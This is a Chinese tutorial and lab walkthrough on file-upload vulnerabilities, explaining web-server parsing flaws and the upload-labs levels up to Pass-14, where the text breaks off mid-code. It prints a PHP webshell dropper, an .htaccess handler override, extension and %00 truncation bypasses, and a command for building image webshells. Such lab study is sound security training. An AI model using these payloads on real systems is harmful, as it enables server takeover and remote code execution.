目录
- 漏洞描述
- 漏洞危害
- 常见上传点和绕过方式
- 脑图
- 漏洞在系统中的差异
- 靶场
- 环境准备
- 理解文件上传
- Pass-1-js检查【前端绕过】
- Pass-2-只验证Content-type【考核:MIME绕过】
- Pass-3-黑名单绕过【考核:特殊解析后缀】
- Pass-4-.htaccess绕过【黑名单绕过】
- Pass-5-大小写绕过
- Pass-6-空格绕过【黑名单绕过】
- Pass-7-点绕过【黑名单绕过】
- Pass-8-::$DATA绕过【黑名单绕过】
- Pass-9-点+空格+点绕过
- Pass-10-双写绕过【黑名单绕过】
- Pass-11-00截断【白名单】
- Pass-12-00截断
- Pass-13 文件头检测
- Pass-14 getimagesize()检测
- Pass-15 exif_imagetype()检测
- Pass-16-二次渲染绕过
- Pass-17-条件竞争
- Pass-18-条件竞争
- Pass-19-00截断、路径绕过
- Pass-20-数组+/.绕过
- 漏洞修复
- 参考
漏洞描述
网站WEB应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当实现上传功能的代码没有严格校验上传文件的后缀和文件类型时,导致用户可以上传恶意文件,一般只要上传成功,获取上传地址,可执行文件被解析就可以获取系统WebShell。
漏洞危害
恶意文件传递给解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件等
常见上传点和绕过方式
上传点
- 上传头像上传相册
- 上传附件
- 添加文章图片
- 前台留言资料上传
- 编辑器文件上传
- …
后缀绕过
解析漏洞
- IIS文件名解析漏洞
- IIS6文件夹解析漏洞 /test.asp/111.jpg(忽略/后的部分)
- IIS6文件名解析漏洞 /test.asp;1.jpg (忽略;后的部分)
- Apache文件名解析漏洞
- Apache文件名解析漏洞 /test.php.xxx (忽略.后的部分)
- Nginx文件名解析漏洞
- Nginx cgi模式文件名解析漏洞 /test.jpg/a.php
常见绕过类型
- Content-Type绕过前端绕过
- 文件解析规则绕过
- Windows环境特性绕过
- 文件名大小写绕过
- 双写绕过
- 点空格绕过
- 文件头绕过
- 条件竞争绕过
- …
脑图
漏洞在系统中的差异
上传文件漏洞在不同的系统、架构以及行为中,利用形式也是各不相同。常用的web容器有IIS、Tomcat、Nginx、Apache等。以下主要以比较经典的解析漏洞做解释。
这些漏洞现在不常见了,文章里没有做深入说明,如果感兴趣的话可以在下面“靶场”的章节中看到一个附件,里面有关于这些漏洞的详细解释。
IIS 5.x/6.0解析漏洞
1、当创建.asp
的文件目录的时候,在此目录下的任意文件,都会被服务器解析为asp文件。
例如如下:漏洞目录利用形式:www.xxx.com/xx.asp/xx.jpg
xx.jpg
的内容可以为一段合法的asp脚本文件。
2、服务器默认不解析;
以后的内容,导致xx.asp;.jpg
被解析成xx.asp
漏洞文件利用形式:www.xxx.com/xx.asp;.jpg
xx.jpg
的内容可以为一段合法的asp脚本文件。
对于此问题,微软并不认为这是一个漏洞,同样也没推出IIS6.0解析漏洞的补丁。因此在IIS6.0的网站下,此问题仍然可以尝试是否存在。
Nginx 解析漏洞
在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。因为在PHP的配置文件php.ini
中有一个关键的选项cgi.fix_pathinfo
默认是开启的。当URL中有不存在的文件时,PHP就会默认向前解析。
普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME
。
例如,访问 www.xx.com/phpinfo.jpg/1.php
这个URL时,$fastcgi_script_name
会被设置为phpinfo.jpg/1.php
,然后构造成SCRIPT_FILENAME
传递给PHP-CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg
作为PHP文件解析呢?这就要说到fix_pathinfo
这个选项了。如果开启了这个选项,那么就会触发在PHP中的如下逻辑:PHP会认为SCRIPT_FILENAME
是phpinfo.jpg
,而1.php
是PATH_INFO
,所以就会将phpinfo.jpg
作为PHP文件来解析了
在默认Fast-CGI开启状况下上传名字为xx.jpg
(就是图片木马),内容为:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问xx.jpg/.php
在这个目录下就会生成一句话木马shell.php
Apache 解析漏洞
Apache 在1.x和2.x版本中存在解析漏洞,例如如下地址格式:www.xxxx.com/apache.php.bbb.aaa
Apache从右至左开始判断后缀,若aaa非可识别后缀,再判断bbb,直到找到可识别后缀为止,然后将该可识别后缀进解析,因此如上地址解析为访问apache.php文件。
举个例子,低版本的apache中,访问phpinfo.php.xxx的时候,可以解析出来phpinfo
靶场
这里推荐国光的文件上传靶场知识总结,关于文件上传 upload-labs 总结的比较全面了,但是国光提供的这个靶场更适合小白吧,内容比较全,界面也好看,并附有大量的解释。由于上面链接中作者已经给出了详细的操作流程,这里不再赘述,如果国光的靶场搭建失败的话,可以使用5号黯区提供的在线版地址:http://bug.dark5.net/ggctf-upload-labs/
关于upload-labs,脑图中介绍的各种技巧在这里基本都会用到,靶场的通关教程,网上一抓一大把,如果你比较在意原理,可以看小迪师傅的视频教程,我这里以小迪师傅的视频讲解,来记录一下这个靶场的通关。另外,小弟师傅提供了一套“Web中间件常见漏洞总结.pdf”的pdf文件,支持目录索引,有需要的自取百度网盘,或者点击下方的附件进行下载。
Web中间件常见漏洞总结.pdf
环境准备
去github下载:https://github.com/c0ny1/upload-labs
下载解压到phpstudy的www目录即可,不需要设置配置文件
唯一需要注意的是php版本:推荐5.2.17
理解文件上传
这里来细致的分析一下,文件上传是怎么上传的
以第二关为例,打开upload-labs-env\WWW\Pass-02\index.php
简单处理之后,写出了一个文件上传的代码,将其保存为1.php
,然后丢到phpstudy的www目录里面。注意,是php文件!
<?php
$name = $_FILES['upload_file']['name'];
echo $name;
?>
<form enctype="multipart/form-data" method="post" action="">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
- 用
$_FILES
获取上传文件有关的各种信息,其中$_FILES
后面跟的文件名,要与第8行的名字保持一致 - 第6行
action
留空,这样我们可以在当前页面拿到结果
随便上传一张图片,拿到了返回的文件名
若文件上传域的name属性值为upfile,则可以使用$_FILES['upfile']
访问文件的有关信息。相关信息:
- $_FILES[‘upfile’][‘name’]; //客户端上传文件的原名称,不包含路径
- $_FILES[‘upfile’][‘type’]; //上传文件的MIME类型
- $_FILES[‘upfile’][‘tmp_name’]; //已上传文件在服务器端保存的临时文件名,包含路径
- $_FILES[‘upfile’][‘error’]; //上传文件出现的错误号,为一个整数
- $_FILES[‘upfile’][‘size’]; //已上传文件的大小,单位为字节
要体验到上面的各种属性,需要修改一下代码
<?php
header("Content-type:text/html; charset=utf-8"); #防止乱码
echo $_FILES['upload_file']['name'];
echo $_FILES['upload_file']['type'];
echo $_FILES['upload_file']['size'];
?>
<form enctype="multipart/form-data" method="post" action="">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
这次,就打印出了文件名字:1.php,文件类型:application/octet-stream、文件大小:320字节
Pass-1-js检查【前端绕过】
如下图,当我们企图上传一个php文件的时候,没有抓到包,并且页面提示不允许上传php文件,我们知道可能做了前端限制
查看页面源代码,发现是通过js进行限制的
方案1:修改文件后缀,绕过前端限制,经过bp修改后缀名,再把文件发送出去
方案2:禁用js(譬如,我们可以使用NoScript插件来禁用js,直接上传文件)
但是前面两种方法都存在一种缺陷,就是如果站点是使用js或者html进行交互,你就抓不到包(没法修改后缀),你也不能禁用js怎么办呢?使用方案3
方案3:修改页面源代码
首先需要拿到页面源代码,如果你直接鼠标右键另存为,用文本编辑器打开之后简直稀烂,没法看,建议全选页面源代码的内容,复制粘贴到文本编辑器中
1:删除js限制的那段代码
2:接下来需要让这个离线在本地的html文件,指向站点接收文件上传的那个路径,如何拿到那个路劲呢?先随便上传一个普通图片文件,拿到路径:
http://192.168.40.140/upload-labs-env/WWW/Pass-01/index.php
3:来到离线在本地的html文件,告诉它要指向某个地址
由于在离线的html文件中搜索不到action
关键字来指向地址,那就手写这个关键字吧
保存文件,用浏览器打开这个html文件
一旦点击上传,就跳转到了下图的页面,如果对着图标右键,会看到相关内容。由于我这里上传的phpinfo.php的内容是phpinfo,所以会看到php的相关信息
<?php
phpinfo();
?>
Pass-2-只验证Content-type【考核:MIME绕过】
这里来着重分析一下源代码,搞明白的话,后面几关就容易理解了
以第二关为例,打开upload-labs-env\WWW\Pass-02\index.php
先来解释一下编辑器中几个标签页的内容都是什么
- 1.php是第一关用到的,此处可以忽略
- 2.php是http://192.168.40.140/upload-labs-env/WWW/Pass-02/index.php?action=show_code的内容,也即下图中6~24行的内容,也即网页隐藏源码的内容
- config.php为index.php包含的一个php文件
查看隐藏源码如下:
下面的代码手工添加了php标签
- 第4行:只有点击“上传”按钮才会进行下面的分析
- 第5行:判断上传的文件路径是否存在,在config.php中可以看到
接下来是关于过滤的!
- 第6行代码:检查上传的文件类型是不是jpg或者png或者gif。
如果文件类型符合,往下执行;如果都不符合,打印第15行的结果
- 第7行:存储文件名(此处的一个临时文件名)。在上文“理解文件上传”中提到过
- 第8行中的
.
代表加号,起到拼接的一个作用 - 把上传的文件移动到第8行拼接出来的路径中,即
$img_path
- 第9行是判断文件是否被正常移动到
$img_path
综上所述,整个代码,只有第6行是做了验证,验证文件类型
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
?>
理解之后,过关就很容易了,修改文件类型即可
Pass-3-黑名单绕过【考核:特殊解析后缀】
同上,点击“显示源码”按钮,获取如下的内容,手动添加php标签便于识别代码块
- 第4、5行已经在第2关分析过,略过
- 第6行:看变量名
deny_ext
,说明deny_ext
是想要拒绝一些后缀名的文件,使用array用数组的形式拒绝了包含某些后缀的文件。即,设置了一个黑名单 - 第7行:
trim
的作用是移除字符串两侧的字符。在W3school的在线案例中可以看到 - 第8行看起来像是一个处理文件后缀的东西,可到底是个啥?查看源代码发现,
deldot
包含在common.php文件中,查看该文件:
举个例子,22.jpg.zip.php5经过如上处理后,站点就知道,文件的后缀是php5,jpg、zip不是文件名后缀
- 第9行:strrchr函数可以在W3school中的实例看到,意思是返回
.
后面的内容(文件后缀)给变量$file_ext - 第10行:顾名思义,把$file_ext(文件后缀)统一转换为小写
- 第11行:检查文件后缀中时候包含
::$DATA
,有的话,就替换为空(::$DATA
脑图中出现过) - 第12行,trim前面解释过,用来删除字符两侧的指定字符,这里没有指定,就是去空
- 第14行就是判断文件后缀名是不是在前面定义的黑名单数组里面
- 其他同上,不再赘述
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
代码梳理完毕,现在就是黑名单绕过即可,在上文“后缀绕过”中提到,可以使用php5、php3等方式进行绕过即可,但是,这种绕过前提是apache的httpd.conf中有如下配置代码:
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
phpstudy靶场环境需要做如下设置:https://blog.csdn.net/weixin_44023693/article/details/104754029
【由于题目是黑名单绕过,所以按题目要求回答,暂且不提别的绕过方式,并且,站点是php的,用asp等格式未必绕过】
修改文件后缀为php5,直接绕过。
Pass-4-.htaccess绕过【黑名单绕过】
概述来说,htaccess文件是Apache服务器中的一个配置文件(是apache才有的),它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。常用于实现伪静态
对我们而言,可以通过这个文件实现解析的自定义。玩法是这样的,使用.htaccess写上一段内容,譬如:要求把文件名包含test
的文件当作php来执行。接下来分别上传.htaccess文件,和一个恶意文件,让恶意文件的文件名包含test
四个字符即可,恶意文件会被当作php文件被执行。
上网搜一段文件上传用到的.htaccess代码如下:
<FilesMatch "test">
SetHandler application/x-httpd-php
</FilesMatch >
保存为.htaccess
,上传站点
创建一个图片木马啥的都行,我这里创建一个test.php文件,里面放一段php代码,制作完毕后,改后缀名为test.jpg,然后上传它
如果你上传图片马失败,请检查一下利用条件:
前提条件(1.mod_rewrite模块开启。2.AllowOverride All)
另外,如果上传的.htaccess文件被重命名了,这种绕过方式也会失效!
Pass-5-大小写绕过
观察源码:
相对于第4关,过滤更严格了。但是相对第3关,发现少了$file_ext = strtolower($file_ext);
,即:没有统一处理文件后缀名的大小写,这意味着存在大小写绕过
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
新建一个1.PhP的文件,直接上传成功
(记得清空上传文件,尤其是清理掉第4关留下的.htaccess,否则影响之后的实验)
Pass-6-空格绕过【黑名单绕过】
在windows设备上,如果你在文件的后缀后面添加空格,当你试着保存它的时候,空格是会被清除掉的,如下图
查看源代码,发现,相较于第3关,少了$file_ext = trim($file_ext); //收尾去空
这就有意思了,玩法是这样的:虽然黑名单过滤严格,但是文件上传的时候,我们使用bp修改文件的后缀,在文件后缀后面添加空格,绕过检查,当文件上传到网站上之后,文件后缀名后面是不允许带空格的,那些空格会自动消失,这样就实现了文件上传
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
Pass-7-点绕过【黑名单绕过】
什么是点绕过?看下图你会发现,如果你在文件后缀的后面放了一个.
,该文件还是该文件,那个.
会被清除,就像第6关的空格一样
来看源代码:
相较于第3关,发现少了$file_name = deldot($file_name);//删除文件名末尾的点
,使用跟第6关一样的套路,在文件名后面添加.
绕过检查,文件上传成功之后,后面的.
会消失,得到正常的文件
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
Pass-8-::$DATA绕过【黑名单绕过】
这里利用了windows的一个特性,如果文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名,这样做目的就是不检查后缀名
例如:phpinfo.php::$DATA
在Windows里会自动去掉末尾的::$DATA
变成phpinfo.php
如果要利用这一点实现文件上传绕过的话,那么目标站点需要是php的,操作系统需要是windows!
查看源代码:
相较于第3关,发现少了$file_ext = str_ireplace('::$DATA', '', $file_ext);
那么就利用这一点进行绕过
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
在文件名后面添加::$DATA
,文件上传成功
Pass-9-点+空格+点绕过
下面来看一下源代码:与第3关相比,黑名单更严格而已,就按照过滤的顺序逆推
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
假设上传了一个普通的php文件,经过bp修改,我们把文件名由1.php
修改为1.php. .
添加了点空格点
- 经过第7行代码时,空格没有了,变成了
1.php..
- 经过第8行代码时,最后一个点没有了(上一行红色的那个点),变成了
1.php.
- 剩下几行代码都奈何不了
1.php.
,于是,上传了1.php.
,被站点保存为1.php
Pass-10-双写绕过【黑名单绕过】
这里需要聊一下循环过滤(又名:递归过滤)
假设代码将字符串里的php替换为空
- 一次过滤时:
- a.php ------> a.
- a.pphphp ------> a.php
- 循环过滤时:
- a.pphphp ------> a.
下面来看一下源代码:发现与之前的代码不同点有些多,就不对比了。需要关注的是第9行,这行代码的意思是,如果文件名后缀中存在$deny_ext中定义的那一大堆后缀名,就把你上传文件的后缀名替换为空。但是它只过滤了一次,所以可以双写绕过。
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
先来上传一个普通的php文件(先清空之前上传的文件)
看左图,像是上传成功了,但是看有图,发现上传的文件名没有后缀,无法被利用,就是上传失败。
接下来使用双写绕过:
新建一个名为num10.pphphp的文件,上传之后,文件后缀正常显示。
Pass-11-00截断【白名单】
查看源代码如下:
- 第5行定义了允许上传的文件类型,限制为jpg、png、gif三种类型(白名单)
- 第6行作用:删除文件名末尾的点,提取出上传文件的后缀名
- 第7行:判断后缀名与白名单是否匹配
整个代码里,只有第6、7行是防护的,进行了限制和检查
<?php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
?>
这里可以使用%00进行截断,进行绕过。利用条件:
00截断条件:php版本< 5.3.4 ;php的magic_quotes_gpc为OFF状态。
下面开始说什么是%00截断,以及它是怎么玩的
先上传一个普通的php文件,拦截到如下内容,我们发现这个POST请求中包含了要上传的文件地址,这个在之前的关卡中是没有显示的。
如果直接尝试修改文件名,绕过代码检查,同时手动定义上传之后的文件名字,会被告诉上传失败
这个时候,就用到%00截断了。
过滤代码中的第9行代码如下:
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
如果我们把POST的请求中的参数内容写为?save_path=../upload/1.php%00
由于文件名是1.jpg
绕过了检查,进入第9行检查代码时,
假设我们的文件被拼接为../upload/1.php%001112132321.jpg
,
那么使用了%00截断之后的名字就会变为../upload/1.php
,即%00及之后的内容会被视为空,这就是%00截断,更进一步解释可以看看这个https://blog.csdn.net/zpy1998zpy/article/details/80545408
我们这里准备一个恶意的php文件,重命名为一个jpg后缀的文件,然后进行上传即可,网上别人这种方法是可行的,但是不太清楚为什么我这里是上传失败,可能是哪里环境没配置好,先略过,明白思路即可。
经过排查,发现是在截图php的magic_quotes_gpc为OFF状态时,那个方法被开启了,现在关闭之后就好了
Pass-12-00截断
对比上一关,其实就是修改了第9行文件传输的方式。save_path参数通过POST方式传递,还是利用00截断,因为POST不会像GET对%00进行自动解码,所以需要在二进制中进行修改。咱们手动进行URL解码
<?php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
?>
使用跟上一关同样的手法,抓取到如下内容,我们需要在进行文件上传的位置设置好上传之后的文件名和文件后缀
在第19行,把内容修改为../upload/xx.php%00
,然后对%00
进行URL编码
排雷:
进行URL编码之后,正常情况下应该出现一个有点像汉字“口”的东西,如果没有出现,就说明哪里出问题了。如下图,编码之后变成了一个空格,,然后就上传失败了,下面的解决办法不一定哪个有用,只是介绍一下
方法1:替换Burp版本(失败)
方法2:恢复默认设置
这个时候,再次进行URL编码,就出现了有点像汉字的“口”,从bp上看文件上传成功了,去虚拟机上看一下
文件上传成功
方法3:修改16进制
切换到16进制,如果发现出现图中这种16进制出现不全的请情况,拉动一下距离,调大16进制的框框大小就行了
把文件名后面的空白设置为16进制的00
再返回RAW视图,就ok了
Pass-13 文件头检测
看一下源代码:
- 第4行,读取了文件头的前两个字节,用来判断文件类型
什么意思呢?不同的文件类型,头两个字节是不一样的,如下图可以清楚的看出来
- 第9~22行代码就是判断文件后缀
<?php
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
?>
由此,用图片马即可绕过,图片马就是把一段第一代码隐藏在了图片之中,假设我把一段恶意的php代码隐藏在了图片里面,以php的格式来解析它的时候,恶意代码就可以执行。
生成图片马的两种方式:
准备一个图片,一个php文件
方法1:借助命令copy 1.jpg/b+1.php/a test13.jpg
注意事项:
- 图片是
/b
,php文件是/a
,中间用加号连接 - 先图片,后php文件!!!
test13.jpg
是生成的文件名- 新生成的文件默认保存在终端窗口所在的路径
方法2:
直接用notepad++打开图片文件,在后面插入php恶意代码,然后保存即可。
直接上传图片马,分别点开文件包含漏洞的链接,和在新标签页中打开图片。于是出现了两个链接
文件包含的地址是:http://192.168.239.131/upload-labs-env/WWW/include.php
图片的链接是:http://192.168.239.131/upload-labs-env/WWW/upload/9820210510154729.jpg
于是,一个用来包含图片马文件的地址是:
http://192.168.239.131/upload-labs-env/WWW/include.php?file=http://192.168.239.131/upload-labs-env/WWW/upload/9820210510154729.jpg
又由于图片马与文件包含是同级目录,于是包含图片的链接简化为:
http://192.168.239.131/upload-labs-env/WWW/include.php?file=upload/9820210510154729.jpg
接下来,可以使用hackbar设置post传参phpinfo();
查看到如下效果
也可以用蚁剑进来
Pass-14 getimagesize()检测
先看源代码:
这里需要着重关注第5行的getimagesize
,getimagesize() 函数用于获取图像大小及相关信息,详情参见。
这意味着,如果上传的不是图片,直接凉凉!这一关的过关方法完完全全同第13关一样,不再赘述。
这一关的意义,在于告诉你,php里有getimagesize这么个函数,能实现上传过滤!
<?php
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
